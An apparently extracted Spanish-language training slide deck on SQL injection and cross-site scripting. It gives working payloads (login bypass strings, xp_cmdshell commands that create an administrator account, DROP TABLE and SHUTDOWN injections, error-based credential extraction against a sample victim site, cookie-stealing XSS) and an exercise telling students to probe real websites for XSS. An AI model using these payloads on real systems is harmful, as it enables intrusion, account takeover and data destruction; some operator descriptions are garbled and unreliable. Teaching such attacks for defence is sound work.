Está en la página 1de 33

Módulo 4 Unidad 12

Cross-Site scripting / SQL Injection

• Introducción SQL INJECTION

• Comandos Básicos SQL

• Primeros Pasos

• Ejemplos de Ataques
• Configuración de Aplicaciones WEB
Introducción

El SQL (structured query language) es un lenguaje de


programación orientado a bases de datos

Inyección de SQL es un tipo de exploit de seguridad en el que el


atacante "inyecta“ código malicioso dirigida a la base de datos.

El código SQL (Lenguaje de consulta estructurado) se utiliza a


través de un cuadro de entrada de un formulario web para
acceder a los recursos, o hacer cambios en los datos.

Es una técnica de inyección de comandos SQL para explotar


vulnerabilidades no validadas de entrada en una base de datos
de back-end de aplicaciones web

El atacante puede ejecutar comandos SQL a través de la


aplicación web
Introducción

Permite a un atacante ejecutar comandos SQL no autorizados

También se aprovecha de las consultas en las web inseguras,


aplicaciones y construye consultas SQL dinámicas

Por ejemplo, cuando un usuario inicia sesión de una página web


utilizando un nombre de usuario y contraseña para la validación
de una consulta SQL, es el nombre de usuario y la contraseña de
validación, la consulta SQL utilizada

Sin embargo, el atacante puede usar la inyección de SQL para


enviar
especialmente campos diseñados de nombre de usuario y
contraseña para envenenar la consulta original de SQL.
Introducción

Donde se encuentran este tipo de vulnerabilidades:


Formularios Web, Consultas Online, encuestas de pedido,
suscripciones a servicios y formularios de suscripciones, en
donde nos solicitan el user y contraseña.
Instalaciones por defecto: la cuenta maestra llamada “SA” sin
password
Cuenta maestra: no solamente modificamos la base, sino que nos
da permisos a nivel S.O., utilizando procedimientos extendidos
Las instalaciones estándar, utilizan por defecto TCP/IP,
puerto 1443
Desbordamiento de Buffer: SQL es famoso por el numero de casos
de desbordamientos, lo que no significa que hoy en día, aparte de
estar solucionado, haya nuevas técnicas para realizarlas
Introducción
Existen procedimientos para desbordamientos de Buffers, a
nivel exploits, también llamados procedimientos extendidos

Si tenemos permisos de ADMIN, podríamos correr estos


procesos

xp_sqlagentmonitor xp_enumresultset xp_showcolv


xp_udatecolvbm
xp_peekqueue

Ejemplos de utilización:
‘ exec master..xp_cmdshell ‘net user etico etico /add’;--
Inserta un usuario de sistema

‘ exec master..xp_cmdshell ‘net local group administrators etico /add’;-


-
Al usuario de sistema lo integra en el grupo de administradores.
Comandos Básicos
COMANDOS DCL (DATA CONTROL LANGUAJE STATEMENTS)
GRANT Para otorgar permisos
REVOKE Para revocar permisos
DENY Para denegar acceso

COMANDOS DDL (DATA DEFINITION LANGUAJE STATEMENTS)


CREATE Para crear nuevas tablas, campos e índices
DROP Para eliminar tablas e índices
ALTER Para modificar tablas agregando campos o definiciones en el campo

COMANDOS DML (DATA MANIPULATION LANGUAJE STATEMENTS)


SELECT Para consultar registros de la base dado un criterio determinado
INSERT Para cargar lote de datos en la base en una única operación
UPDATEPara modificar los valores de los campos y registros especificados
DELETE Para eliminar registros de una tabla de base de datos
Comandos Básicos
CLAUSULAS
FROM Para especificar la tabla de donde se van a seleccionar los registros
WHERE Para especificar las condiciones que deben reunir los registros
seleccionados
GROUP BY Para separar los registros seleccionados en grupos específicos
HAVING Para expresar la condición que debe satisfacer cada grupo
ORDER BY Para ordenar los registros seleccionados de acuerdo a un orden
especifico

OPERADORES DE COMPARACION
> Menor que
< Mayor que
<> Distinto que
<= Menor o igual que
>= Mayor o igual que
= Igual que
BETWEEN Utilizado para especificar un intervalo de valores
LIKE Utilizado en comparacion de un modelo
IN Utilizado para especificar registros de una base de datos
Comandos Básicos
EJEMPLOS
SELECT * FROM TABLA;
Esta consulta nos devuelve un recordset con todos los registros de la tabla
“TABLA”

UPDATE TABLA SET password = ‘clavexxx’ WHERE user = ‘admin’


Esta sentencia actualiza el campo password para el user admin, con el valor
indicado

PARA TENER EN CUENTA:


Las ordenes o sentencias, se ejecutan secuencialmente una detrás de otra,
similar a un proceso batch.
Hay muchas versiones de SQL, las sentencias descritas son compatibles
La instalación por defecto del sistema, es una de las vulnerabilidades mas
buscadas, gracias a los permisos que nos daría la cuenta maestra “SA”
El escenario mas visto y buscado, seria un sistema Windows, corriendo un IIS
(Internet Information Services) junto a aplicaciones web en ASP,
interactuando con MS-SQL
Primeros Pasos
Habría que buscar sitios web, que estén corriendo algún tipo de consulta, y ahí
revisar el codigo html en busca de algo así:

<FORM action=logon/logon.asp method=post>


<input type=hidden username= UserName password= Password>
</FORM>
Lo que vemos aquí es que postea los datos ingresados a una pagina ASP para que
la misma resuelva la consulta, interactuando con la base de datos)

Lo que el ingreso de los datos seria así:


Select * from users where username = UserName and password = Password

Fase de descubrimiento: incluye detectar identificaciones, categorías o


nombres, tanto a nivel browser como sobre cajas de dialogo.

Con la "'" se delimitan los campos, por ende si en el nombre de un usuario


ponemos "'" nos permitirá ver si es vulnerable a la inserción de SQL.
Primeros Pasos
Sentencia básica de consulta
SELECT id FROM login WHERE usuario = `$usuario´ AND clave =
`$clave´
SQL Injection
Si los campos / aplicación no están protegidos contra caracteres
especiales:
SELECT id FROM login WHERE usuario = `admin´ AND clave = `´ ´
OR 1=1 –
Esta comilla, cambiara el comportamiento de la aplicación.
Si el usuario es “admin” y tiene una password o condición (1=1), se
dará por correcto y nos habilita el acceso.

Lugares para buscar: Google hacking (inurl=login.asp, clave.asp, etc)


Primeros Pasos
Si notamos que un campo Content - Type esta configurado así:
application/x-www-form-urlencoded

Tendríamos que utilizar el signo “+” en reemplazo de los “espacios”


y también reemplazar los “signos especiales” por los códigos del
RFC1038.

Ejemplo:
‘OR 1=1 --

Codificado:
‘OR+1%3D1+—
Ejemplos de Ataques

Estamos en una página vulnerable, la típica página que pide nombre de usuario y
contraseña. Comprobamos que hace la página cuando clickeo en el botón
ACCEDER,
en el código fuente de la página (ctrl+u) veo que llama a la función ('Sub
acepta()') y ésta no hace más que comprobar si el campo alias o clave está vacio,
si lo está lo advierte con un mensaje: 'Debes de completar la llave de acceso' y sino
va a los filtros que están en el directorio actual en el
archivocomprobar.asp?ali='alias'&cla='clave’
Ejemplos de Ataques

Sabemos que la página conecta en la base de datos a través del fichero comprobar.asp
pasándole dos parámetros ali y cla. (Usuario y Clave)

La ruta del navegador queda tal que así:

www.victima.com/comprobar.asp?ali='alias'&cla='clave'

Si substituimos alias y clave por PEPE y PEPE, por ejemplo.


La pagina lógicamente nos indica que usuario y contraseña no son válidos:

www.victima.com/comprobar.asp?ali='PEPE'&cla='PEPE'

Para averiguar el nombre de tabla y su estructura procedemos a la primera inyección


SQL, a la ruta anterior añadimos having 1=1

www.victima.com/comprobar.asp?ali='PEPE'&cla='PEPE' having 1=1

y la base de datos nos devuelve el error:


Ejemplos de Ataques
Microsoft OLE DB Provider for SQL Server error '80040e14‘
La columna 'autentificacion.id' de la lista de selección no es válida, porque no está
contenida en una función de agregado y no hay cláusula GROUP BY.
/comprobar.asp, línea 19
Ya tenemos el nombre de la tabla (Autentificación) y la primera columna (ID), ahora
seguimos sacando columnas con ésta nueva inyección, en que el mismo error ya nos
ha orientado, la cláusula GROUP BY (Agrupar filas por):
Como anteriormente, el primer subrayado es la inyección y el segundo el error que
tira la base de datos:
www.victima.com/comprobar.asp?ali='PEPE'&cla='PEPE'GROUP%20BY%20ID
y la base de datos nos tira el error:

Microsoft OLE DB Provider for SQL Server error '80040e14‘


La columna 'autentificacion.alias' de la lista de selección no es válida, porque no está
contenida en una función de agregado ni en la cláusula GROUP BY.
/comprobar.asp, línea 19
Ejemplos de Ataques
Ok, tenemos segunda columna ('ALIAS') ahora continuamos añadiendo ésta
nueva columna al GROUP BY para ir a por la tercera:

www.victima.com/comprobar.asp?ali='PEPE'&cla='PEPE'GROUP%20BY%20
ID,ALIAS

y nos tira el error

Microsoft OLE DB Provider for SQL Server error '80040e14‘


La columna 'autentificacion.clave' de la lista de selección no es válida,
porque no está contenida en una función de agregado ni en la cláusula
GROUP BY.
/comprobar.asp, línea 19

Nuevo campo ('CLAVE'), repetimos el metodo:

www.victima.com/comprobar.asp?ali='PEPE'&cla='PEPE'GROUP%20BY%20
ID,ALIAS,CLAVE

pero ésta vez no nos devuelve error, bueno si………..


Ejemplos de Ataques
Esto es bueno, nos dice que ya tenemos todas las columnas de la tabla
Autentificación

Ahora ya tenemos la estructura de la tabla con todos sus campos, vamos a pasar a
averiguar su contenido.

www.victima.com/comprobar.asp?ali='PEPE'&cla='PEPE' UNION SELECT


MAX(ALIAS),2,3 FROM AUTENTIFICACION

UNION: como su propio nombre indica es para unir dos peticiones (la de usuario
y contraseña mas la de la inyección)

MAX(): buscar el máximo valor de la columna ALIAS, es lo que provoca el error


porque el campo ALIAS es nvarchar2 es decir de tipo carácter y lo que intentamos
hacer es meterle una función numérica.
El 2 y el 3 es para rellenar por la columna ID y CLAVE

FROM: desde

AUTENTIFICACION: Nombre de la tabla en la que ejecutamos la consulta.


Ejemplos de Ataques
Esta inyección nos tira el siguiente error:
Microsoft OLE DB Provider for SQL Server error '80040e07‘
Error de sintaxis al convertir el valor nvarchar 'instituto' para una columna
de tipo de datos int.
/comprobar.asp, línea 19
Bueno, ya tenemos el primer nombre de usuario INSTITUTO le podríamos añadir
a la anterior inyección la cláusula WHERE ID= y el numero de fila que queramos
consultar, en ésta base de datos no hay más usuarios y contraseñas por lo que lo
dejo así.
Ahora realizamos la misma inyección pero con la contraseña, es decir:
www.victima.com/comprobar.asp?ali='PEPE'&cla='PEPE' UNION SELECT
MAX(CLAVE),2,3 FROM AUTENTIFIACION
y nos tira el siguiente error:
Microsoft OLE DB Provider for SQL Server error '80040e07‘
Error de sintaxis al convertir el valor nvarchar 'instituto' para una columna
de tipo de datos int.
/comprobar.asp, línea 19
Ejemplos de Ataques
La clave es también INSTITUTO, tiene el mismo nombre de usuario y contraseña.

Otras opciones que hay de inyectar código es con el uso de la “;”, que significa
ejecutar código tras código:

'or 1=1; drop table users; --

Se selecciona el campo username para todas las filas de la tabla de usuarios y luego
eliminara la tabla de usuarios

El guion doble al final, es para ignorar todo lo que venga después

Dependiendo de las versiones, esto seria para seleccionar:

'or 1=1– "or 1=1– or 1=1–

' or 'a'='a " or "a"="a ') or ('a'='a


Ejemplos de Ataques
Otro Ejemplo:
http://www.example.com/shopping/productdetail.asp?SKU=MS01&sCategory=Tools
El atacante modifica el ultimo valor:
http://www.example.com/shopping/productdetail.asp?SKU=MS01&sCategory=Kits
El contenido del código ASP seria:
sub_cat = request ("sCategory")
sqlstr="SELECT * FROM product WHERE Category='" & sub_cat &'""
Set rs=conn.execute (sqlstr)
La sentencia quedaría así:
SELECT * FROM product WHERE Category='Kits'
Esto nos daría como error que esa categoría no existe, entonces:
http://www.example.com/shopping/productdetail.asp?SKU=MS01&sCategory=Tools'
or1=1—
Nos lleva la consulta para seleccionar todo, desde la tabla de productos,
independientemente de que si la categoría TOOLS exista o no
Ejemplos de Ataques
Otro Ejemplo:
Username: '; shutdown with nowait; -- Password: [Anything]
Esto haría que el script ejecutare esta consulta:
select userName from users where userName="; shutdown with nowait; --'and
userPass="
Si se ha utilizado la cuenta SA por defecto, el servidor SQL se apagara y se tendra que
activar en forma manual
Otro Ejemplo: esto es para saber si es vulnerable
http:// www.xsecurity.com /index.asp?id=10
Añadimos:
http://www.xsecurity.com/index.asp?id=blah’ or 1=1—
Y nos devuelve:
Tools SQL
SQL DICT : diccionario de ataque para SQL SERVER

SQLEXEC: ejecuta comandos utilizando el procedimiento XP_CMDSHELL

SQLBF: es una herramienta para auditar y llevar a cabo fuerza bruta en SQL

SQLSMACK: A través de un usuario y contraseña ejecuta comandos de


XP_CMDSHELL

SQL2.EXE: herramienta para desbordamiento de buffer remoto


Tools SQL

SNARK: es una utilidad para realizar


HTTP Request, y poder interceptar
todo tipo de trafico HTTP. Podemos
interceptar y modificar esos valores
antes de que los envié al servidor (hay
que setear el explorador con
localhost:puerto)
Tools SQL
El ataque se realiza sobre la aplicación y no sobre el
servidor en si.

Luego una vez obtenidos los privilegios, si podría tomar


posesión del servidor, por ejemplo, apagarlo.

Otra manera de que tenemos que tener sumamente


cuidado con las instalaciones por defecto de las
aplicaciones, ya que no están exentas a tener
vulnerabilidades.
Configuración de Aplicaciones WEB
Un cliente / servidor de aplicaciones de software que interactúa
con los usuarios u otros sistemas a través de HTTP

Las aplicaciones modernas están escritas en Java (o lenguajes


similares) y se ejecutan en distribución por servidores de aplicaciones,
con conexión a datos de múltiples fuentes a través de complejas capas
lógicas de negocio
Configuración de Aplicaciones WEB
Conductas aplicadas:

• Defacing websites
• Stealing credit card information
• Exploiting server-side scripting
• Exploiting buffer overflows
• Domain Name Server (DNS) attacks
• Employing malicious code
• Denial of Service
• Destruction of Data
Configuración de Aplicaciones WEB
Cross Site XSS: es una técnica que permite inyectar código malicioso,
a través de HTTP o código JavaScript
Ataques internos son aquellos en los que están permanentemente
almacenado el código inyectado en el objetivo de una base de datos
Ataques reflejados son aquellos donde el código inyectado toma otra
ruta a la víctima, por ejemplo, en un mensaje de correo electrónico
Divulgación de cookie de sesión del usuario permite a un atacante
secuestrar la sesión del usuario y hacerse cargo de la cuenta
En cross-site scripting, los archivos de los usuarios finales se dan a
conocer, se instalan troyanos, se redirige al usuario a otra pagina, y la
presentación del contenido modificado
Servidores Web, servidores de aplicaciones y entornos de aplicaciones
Web son susceptibles al cross-site scripting
Escenarios
Escenarios
Escenarios
Los ataques mas comunes de XSS:
<img src=“XX.jpg”>
<script>alert(document.cookie);</script>
Download.php?file=X
Upload.php?file=X
IMG= permite incorporar y mostrar una imagen en pantalla
SCRIPT= permite declarar una instancia de JAVASCRIPT
Download y Upload= son scripts de descarga y subida de archivos
Configuración de Aplicaciones WEB

Las aplicaciones web son software cliente / servidor que interactúan


con los usuarios o las aplicaciones Web de otros sistemas a través de
HTTP

Los atacantes pueden intentar desfigurar el sitio web, robar


información de tarjetas de crédito, inyectar códigos maliciosos,
explotar scriptings del lado del servidor, etc

Inyección de comandos, los ataques XSS, SQL Injection, Cookies, la


interceptación de cifrado, y de desbordamiento de búfer son algunas
de las amenazas en contra de las aplicaciones web

Las políticas de la organización deben apoyar las contramedidas


contra todos estos tipos de los ataques
EJERCICIO

Buscar en Internet, sitios que sean vulnerables a XSS, utilizando


únicamente el <script>alert("hola");</script>

La idea es que chequeen y vean que muchos sitios web son


vulnerables a este tipo de técnicas, lo cual las medidas de
seguridad que deberían aplicarse, no se encuentran aplicadas

Exponer la captura únicamente, y dar su punto de vista sobre


la técnica.
Referencias
http://www.mkit.com.ar/blog/tag/xss/

http://www.forosdelweb.com/f18/seguridad-php-inputs-sql-injection-xss-
959855/

http://root-network.blogspot.com.ar/2011/07/tutorial-de-inyeccion-sql-
para.html

http://es.wikipedia.org/wiki/Cross-site_scripting

http://www.veracode.com/security/xss

http://wiki.elhacker.net/bugs-y-exploits/nivel-web/xss

Mails y consultas al instructor

Agradecimientos a todos los que permitieron el uso de


información e imágenes para el desarrollo del curso

También podría gustarte